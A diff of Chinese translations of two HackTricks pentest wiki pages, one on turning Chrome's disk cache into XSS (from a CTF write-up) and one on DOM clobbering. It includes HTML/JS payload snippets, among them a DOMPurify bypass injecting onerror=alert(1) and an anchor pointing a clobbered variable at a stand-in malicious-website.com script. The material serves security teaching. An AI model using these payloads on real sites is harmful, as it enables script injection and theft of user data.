* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,50 +1,55 @@
|
||||||
# Chrome缓存到XSS
|
# Chrome Cache to XSS
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**吗? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
||||||
* 通过向[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
更深入的细节请查看[**此篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote)。
|
更多详细信息 [**在这篇文章中**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote)。
|
||||||
|
|
||||||
本文讨论的技术涉及理解两种主要缓存类型的行为和交互:**后退/前进缓存(bfcache)**和**磁盘缓存**。bfcache存储页面的完整快照,包括JavaScript堆,优先于磁盘缓存用于后退/前进导航,因为它能够存储更全面的快照。相比之下,磁盘缓存存储从网络获取的资源,不包括JavaScript堆,并用于后退/前进导航以减少通信成本。磁盘缓存的一个有趣方面是它包含使用`fetch`获取的资源,这意味着浏览器将从缓存中渲染访问的URL资源。
|
这里讨论的技术涉及理解两种主要缓存类型的行为和交互:**后退/前进缓存 (bfcache)** 和 **磁盘缓存**。bfcache 存储页面的完整快照,包括 JavaScript 堆,由于其能够存储更全面的快照,因此在后退/前进导航中优先于磁盘缓存。相比之下,磁盘缓存存储从网络获取的资源,但不包括 JavaScript 堆,并用于后退/前进导航以减少通信成本。磁盘缓存的一个有趣方面是它包括使用 `fetch` 获取的资源,这意味着访问的 URL 资源将由浏览器从缓存中呈现。
|
||||||
|
|
||||||
### 关键要点:
|
### 关键点:
|
||||||
|
|
||||||
- **bfcache**在后退/前进导航中优先于磁盘缓存。
|
- **bfcache** 在后退/前进导航中优先于磁盘缓存。
|
||||||
- 要使用存储在磁盘缓存中的页面而不是bfcache,必须禁用后者。
|
- 要使用存储在磁盘缓存中的页面而不是 bfcache,必须禁用后者。
|
||||||
|
|
||||||
### 禁用bfcache:
|
### 禁用 bfcache:
|
||||||
|
|
||||||
默认情况下,Puppeteer禁用bfcache,符合Chromium文档中列出的条件。禁用bfcache的一种有效方法是通过使用`RelatedActiveContentsExist`,通过使用`window.open()`打开一个保留对`window.opener`引用的页面。
|
默认情况下,Puppeteer 禁用 bfcache,符合 Chromium 文档中列出的条件。禁用 bfcache 的一种有效方法是通过使用 `RelatedActiveContentsExist`,通过使用 `window.open()` 打开一个保留对 `window.opener` 引用的页面来实现。
|
||||||
|
|
||||||
### 复现行为:
|
### 复制行为:
|
||||||
|
|
||||||
1. 访问一个网页,例如`https://example.com`。
|
1. 访问一个网页,例如 `https://example.com`。
|
||||||
2. 执行`open("http://spanote.seccon.games:3000/api/token")`,将导致服务器响应返回500状态码。
|
2. 执行 `open("http://spanote.seccon.games:3000/api/token")`,这将导致服务器响应 500 状态码。
|
||||||
3. 在新打开的选项卡中,导航到`http://spanote.seccon.games:3000/`。此操作将将`http://spanote.seccon.games:3000/api/token`的响应缓存为磁盘缓存。
|
3. 在新打开的标签页中,导航到 `http://spanote.seccon.games:3000/`。此操作将 `http://spanote.seccon.games:3000/api/token` 的响应缓存为磁盘缓存。
|
||||||
4. 使用`history.back()`进行后退导航。此操作将导致在页面上呈现缓存的JSON响应。
|
4. 使用 `history.back()` 返回。此操作将导致页面上呈现缓存的 JSON 响应。
|
||||||
|
|
||||||
可以通过在Google Chrome的DevTools中确认磁盘缓存是否被使用来验证。
|
可以通过在 Google Chrome 中使用 DevTools 确认磁盘缓存的使用。
|
||||||
|
|
||||||
有关bfcache和磁盘缓存的更多详细信息,请参考[web.dev关于bfcache的文章](https://web.dev/i18n/en/bfcache/)和[Chromium关于磁盘缓存的设计文档](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/)。
|
有关 bfcache 和磁盘缓存的更多详细信息,可以参考 [web.dev 上的 bfcache](https://web.dev/i18n/en/bfcache/) 和 [Chromium 的磁盘缓存设计文档](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/)。
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**吗? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
||||||
* 通过向[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,36 +1,39 @@
|
||||||
# Dom Clobbering
|
# Dom Clobbering
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks上做广告**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs收藏品**](https://opensea.io/collection/the-peass-family)
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
||||||
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## **基础知识**
|
## **基础知识**
|
||||||
|
|
||||||
可以使用HTML标签中的**`id`**和**`name`**属性在JS上下文中生成**全局变量**。
|
可以通过 HTML 标签中的 **`id`** 和 **`name`** 属性在 JS 上下文中生成 **全局变量**。
|
||||||
```html
|
```html
|
||||||
<form id=x></form>
|
<form id=x></form>
|
||||||
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
|
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
|
||||||
```
|
```
|
||||||
**只有**某些元素可以使用**name属性**来覆盖全局变量,它们是:`embed`、`form`、`iframe`、`image`、`img`和`object`。
|
**只有**某些元素可以使用**name属性**来覆盖全局变量,它们是:`embed`、`form`、`iframe`、`image`、`img`和`object`。
|
||||||
|
|
||||||
有趣的是,当您使用**form元素**来**覆盖**一个变量时,您将获得元素本身的**`toString`**值:`[object HTMLFormElement]`,但使用**anchor**时,**`toString`**将是锚点的**`href`**。因此,如果您使用**`a`**标签来覆盖,您可以在将其视为字符串时**控制**该**值**:
|
有趣的是,当你使用**form元素**来**覆盖**一个变量时,你将得到该元素本身的**`toString`**值:`[object HTMLFormElement]`,但使用**anchor**时,**`toString`**将是锚点的**`href`**。因此,如果你使用**`a`**标签进行覆盖,你可以**控制**当它被**视为字符串**时的**值**:
|
||||||
```html
|
```html
|
||||||
<a href="controlled string" id=x></a>
|
<a href="controlled string" id=x></a>
|
||||||
<script>
|
<script>
|
||||||
console.log(x);//controlled string
|
console.log(x);//controlled string
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
### 数组和属性
|
### 数组与属性
|
||||||
|
|
||||||
也可以**篡改数组**和**对象属性**:
|
也可以**覆盖一个数组**和**对象属性**:
|
||||||
```html
|
```html
|
||||||
<a id=x>
|
<a id=x>
|
||||||
<a id=x name=y href=controlled>
|
<a id=x name=y href=controlled>
|
||||||
|
@ -39,7 +42,7 @@ console.log(x[1])//controlled
|
||||||
console.log(x.y)//controlled
|
console.log(x.y)//controlled
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
要覆盖**第三个属性**(例如 x.y.z),您需要使用一个**`form`**:
|
要覆盖 **第三个属性** (例如 x.y.z),您需要使用 **`form`**:
|
||||||
```html
|
```html
|
||||||
<form id=x name=y><input id=z value=controlled></form>
|
<form id=x name=y><input id=z value=controlled></form>
|
||||||
<form id=x></form>
|
<form id=x></form>
|
||||||
|
@ -47,17 +50,17 @@ console.log(x.y)//controlled
|
||||||
alert(x.y.z.value)//controlled
|
alert(x.y.z.value)//controlled
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
通过使用 iframes,**覆盖更多属性**会变得**更加复杂但仍然可能**:
|
Clobbering更多属性是**更复杂但仍然可能**,使用ifram:
|
||||||
```html
|
```html
|
||||||
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
|
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
|
||||||
<style>@import 'https://google.com';</style>
|
<style>@import 'https://google.com';</style>
|
||||||
<script>alert(x.y)//controlled</script>
|
<script>alert(x.y)//controlled</script>
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
样式标签用于给iframe足够的时间来渲染。如果没有它,你会发现一个未定义的警报。
|
style标签用于**给iframe足够的时间进行渲染**。没有它,你会发现一个**未定义**的警告。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
要深入破坏更多属性,可以使用带有HTML编码的iframe,如下所示:
|
要覆盖更深层的属性,你可以使用**带有HTML编码的iframes**,方法如下:
|
||||||
```html
|
```html
|
||||||
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
|
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
|
||||||
<style>@import 'https://google.com';</style>
|
<style>@import 'https://google.com';</style>
|
||||||
|
@ -65,9 +68,9 @@ alert(x.y.z.value)//controlled
|
||||||
alert(a.b.c.d.e)//controlled
|
alert(a.b.c.d.e)//controlled
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
### **绕过过滤器**
|
### **过滤器绕过**
|
||||||
|
|
||||||
如果一个过滤器正在通过类似 `document.getElementByID('x').attributes` 这样的方式**循环**遍历节点的**属性**,你可以**覆盖**属性**`.attributes`**并**破坏过滤器**。其他 DOM 属性如**`tagName`**、**`nodeName`**或**`parentNode`**等也是可以**覆盖**的。
|
如果一个过滤器正在使用类似 `document.getElementByID('x').attributes` 的方式**循环**遍历一个节点的**属性**,你可以**覆盖**属性**`.attributes`**并**破坏过滤器**。其他 DOM 属性如 **`tagName`**、**`nodeName`** 或 **`parentNode`** 等也可以被**覆盖**。
|
||||||
```html
|
```html
|
||||||
<form id=x></form>
|
<form id=x></form>
|
||||||
<form id=y>
|
<form id=y>
|
||||||
|
@ -78,13 +81,13 @@ console.log(document.getElementById('x').nodeName)//FORM
|
||||||
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
|
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
## **Clobbering `window.someObject`**
|
## **覆盖 `window.someObject`**
|
||||||
|
|
||||||
在 JavaScript 中经常会发现:
|
在JavaScript中,常常会发现:
|
||||||
```javascript
|
```javascript
|
||||||
var someObject = window.someObject || {};
|
var someObject = window.someObject || {};
|
||||||
```
|
```
|
||||||
操纵页面上的HTML允许用DOM节点覆盖`someObject`,可能引入安全漏洞。例如,您可以用指向恶意脚本的锚元素替换`someObject`:
|
在页面上操纵 HTML 允许用 DOM 节点覆盖 `someObject`,可能引入安全漏洞。例如,您可以用指向恶意脚本的锚元素替换 `someObject`:
|
||||||
```html
|
```html
|
||||||
<a id=someObject href=//malicious-website.com/malicious.js></a>
|
<a id=someObject href=//malicious-website.com/malicious.js></a>
|
||||||
```
|
```
|
||||||
|
@ -99,27 +102,27 @@ document.body.appendChild(script);
|
||||||
};
|
};
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
这种方法利用脚本源来执行不需要的代码。
|
此方法利用脚本源执行不必要的代码。
|
||||||
|
|
||||||
**技巧**:**`DOMPurify`** 允许您使用 **`cid:`** 协议,该协议**不会对双引号进行 URL 编码**。这意味着您可以**注入一个编码的双引号,在运行时将被解码**。因此,注入类似于 **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** 这样的内容将使 HTML 编码的 `"` 在运行时**解码**并**从属性值中逃逸**,以**创建** **`onerror`** 事件。
|
**技巧**:**`DOMPurify`** 允许您使用 **`cid:`** 协议,这 **不会对双引号进行 URL 编码**。这意味着您可以 **注入一个在运行时会被解码的编码双引号**。因此,注入类似 **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** 的内容将使 HTML 编码的 `"` 在 **运行时解码** 并 **逃逸** 出属性值以 **创建** **`onerror`** 事件。
|
||||||
|
|
||||||
另一种技术使用了一个 **`form`** 元素。某些客户端库会检查新创建的表单元素的属性以进行清理。但是,通过在表单内添加一个带有 `id=attributes` 的 `input`,您实际上覆盖了属性,阻止了消毒剂访问实际属性。
|
另一种技术使用 **`form`** 元素。某些客户端库检查新创建的表单元素的属性以进行清理。然而,通过在表单内添加一个 `input`,其 `id=attributes`,您有效地覆盖了属性属性,阻止了清理器访问实际属性。
|
||||||
|
|
||||||
您可以在[**这篇 CTF 解密中找到这种类型的覆盖示例**](iframes-in-xss-and-csp.md#iframes-in-sop-2)。
|
您可以在 [**此 CTF 文章中找到此类覆盖的示例**](iframes-in-xss-and-csp.md#iframes-in-sop-2)。
|
||||||
|
|
||||||
## 覆盖文档对象
|
## 覆盖文档对象
|
||||||
|
|
||||||
根据文档,可以使用 DOM 覆盖来覆盖文档对象的属性:
|
根据文档,可以使用 DOM Clobbering 覆盖文档对象的属性:
|
||||||
|
|
||||||
> [文档](https://html.spec.whatwg.org/multipage/dom.html#document)接口[支持命名属性](https://webidl.spec.whatwg.org/#dfn-support-named-properties)。[文档](https://html.spec.whatwg.org/multipage/dom.html#document)对象在任何时刻支持的属性名称包括以下内容,按照贡献它们的元素的[树顺序](https://dom.spec.whatwg.org/#concept-tree-order)排列,忽略后续的重复,并且在相同元素同时贡献 id 属性和 name 属性时,来自 id 属性的值优先于来自 name 属性的值:
|
> [Document](https://html.spec.whatwg.org/multipage/dom.html#document) 接口 [支持命名属性](https://webidl.spec.whatwg.org/#dfn-support-named-properties)。任何时刻的 [Document](https://html.spec.whatwg.org/multipage/dom.html#document) 对象的 [支持的属性名称](https://webidl.spec.whatwg.org/#dfn-supported-property-names) 由以下内容组成,按照 [树顺序](https://dom.spec.whatwg.org/#concept-tree-order) 根据贡献它们的元素,忽略后来的重复,并且来自 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 属性的值在同一元素同时贡献两者时排在来自名称属性的值之前:
|
||||||
>
|
>
|
||||||
> \- 所有具有非空名称内容属性并且在文档树中具有文档作为[根](https://dom.spec.whatwg.org/#concept-tree-root)的[公开](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element)、[form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element)、[iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element)、[img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)和[公开](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element)元素的名称内容属性的值;\
|
> \- 所有具有非空名称内容属性并且在以文档为 [根](https://dom.spec.whatwg.org/#concept-tree-root) 的 [文档树](https://dom.spec.whatwg.org/#in-a-document-tree) 中的所有 [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element)、[form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element)、[iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element)、[img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) 和 [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) 元素的名称内容属性的值;\
|
||||||
> \
|
> \
|
||||||
> \- 所有具有非空[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)内容属性并且在文档树中具有文档作为[根](https://dom.spec.whatwg.org/#concept-tree-root)的[公开](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element)元素的[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)内容属性的值;\
|
> \- 所有具有非空 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 内容属性并且在以文档为 [根](https://dom.spec.whatwg.org/#concept-tree-root) 的 [文档树](https://dom.spec.whatwg.org/#in-a-document-tree) 中的所有 [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) 元素的 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 内容属性的值;\
|
||||||
> \
|
> \
|
||||||
> \- 所有具有非空[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)内容属性和非空名称内容属性的[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)内容属性的值的[img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)元素,且在文档树中具有文档作为[根](https://dom.spec.whatwg.org/#concept-tree-root)。
|
> \- 所有具有非空 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 内容属性和非空名称内容属性的 [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) 元素的 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 内容属性的值,并且在以文档为 [根](https://dom.spec.whatwg.org/#concept-tree-root) 的 [文档树](https://dom.spec.whatwg.org/#in-a-document-tree) 中。
|
||||||
|
|
||||||
使用这种技术,您可以覆盖常用的值,如 `document.cookie`、`document.body`、`document.children`,甚至文档接口中的方法,如 `document.querySelector`。
|
使用此技术,您可以覆盖常用的 **值,例如 `document.cookie`、`document.body`、`document.children`**,甚至文档接口中的方法,如 `document.querySelector`。
|
||||||
```javascript
|
```javascript
|
||||||
document.write("<img name=cookie />")
|
document.write("<img name=cookie />")
|
||||||
|
|
||||||
|
@ -138,9 +141,9 @@ HTMLCollection(2) [img, form, cookie: img]
|
||||||
typeof(document.cookie)
|
typeof(document.cookie)
|
||||||
'object
|
'object
|
||||||
```
|
```
|
||||||
## 在元素被篡改后写入
|
## 写入被覆盖的元素后
|
||||||
|
|
||||||
对 **`document.getElementById()`** 和 **`document.querySelector()`** 的调用结果可以通过注入具有相同id属性的 `<html>` 或 `<body>` 标签来进行更改。以下是如何实现的:
|
通过注入具有相同 id 属性的 `<html>` 或 `<body>` 标签,可以更改对 **`document.getElementById()`** 和 **`document.querySelector()`** 的调用结果。以下是实现方法:
|
||||||
```html
|
```html
|
||||||
<div style="display:none" id="cdnDomain" class="x">test</div>
|
<div style="display:none" id="cdnDomain" class="x">test</div>
|
||||||
<p>
|
<p>
|
||||||
|
@ -150,7 +153,7 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||||
alert(document.querySelector('.x').innerText); // Clobbered
|
alert(document.querySelector('.x').innerText); // Clobbered
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
此外,通过使用样式来隐藏这些注入的HTML/body标签,可以防止`innerText`中其他文本的干扰,从而增强攻击的效果:
|
此外,通过使用样式隐藏这些注入的 HTML/body 标签,可以防止 `innerText` 中其他文本的干扰,从而增强攻击的有效性:
|
||||||
```html
|
```html
|
||||||
<div style="display:none" id="cdnDomain">test</div>
|
<div style="display:none" id="cdnDomain">test</div>
|
||||||
<p>existing text</p>
|
<p>existing text</p>
|
||||||
|
@ -162,7 +165,7 @@ p{display:none;}
|
||||||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
调查发现SVG可以有效地利用`<body>`标签:
|
对SVG的调查显示,`<body>`标签也可以有效地利用:
|
||||||
```html
|
```html
|
||||||
<div style="display:none" id="cdnDomain">example.com</div>
|
<div style="display:none" id="cdnDomain">example.com</div>
|
||||||
<svg><body id="cdnDomain">clobbered</body></svg>
|
<svg><body id="cdnDomain">clobbered</body></svg>
|
||||||
|
@ -170,7 +173,7 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
要使HTML标签在Chrome和Firefox等浏览器中在SVG内起作用,需要使用`<foreignobject>`标签:
|
为了使HTML标签在像Chrome和Firefox这样的浏览器中的SVG中正常工作,必须使用`<foreignobject>`标签:
|
||||||
```html
|
```html
|
||||||
<div style="display:none" id="cdnDomain">example.com</div>
|
<div style="display:none" id="cdnDomain">example.com</div>
|
||||||
<svg>
|
<svg>
|
||||||
|
@ -184,7 +187,9 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||||
```
|
```
|
||||||
## Clobbering Forms
|
## Clobbering Forms
|
||||||
|
|
||||||
可以通过在某些标签中指定`form`属性来向表单中添加新条目。您可以使用这种方法向表单中添加新值,甚至可以添加一个新的按钮来发送它(点击劫持或滥用一些`.click()` JS代码):
|
可以通过在某些标签中指定 `form` 属性来 **在表单中添加新条目**。您可以利用这一点 **在表单中添加新值**,甚至添加一个新的 **按钮** 来 **发送它**(点击劫持或滥用某些 `.click()` JS 代码):
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
```html
|
```html
|
||||||
<!--Add a new attribute and a new button to send-->
|
<!--Add a new attribute and a new button to send-->
|
||||||
<textarea form=id-other-form name=info>
|
<textarea form=id-other-form name=info>
|
||||||
|
@ -196,22 +201,25 @@ Click to send!
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
* 有关更多表单属性,请查看[**此处**](https://www.w3schools.com/tags/tag\_button.asp)**。**
|
* 有关更多表单属性,请查看[**按钮检查此处**](https://www.w3schools.com/tags/tag\_button.asp)**。**
|
||||||
|
|
||||||
## 参考资料
|
## 参考文献
|
||||||
|
|
||||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||||
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
|
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
|
||||||
* Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.
|
* Heyes, Gareth. JavaScript for hackers: 学习像黑客一样思考。
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
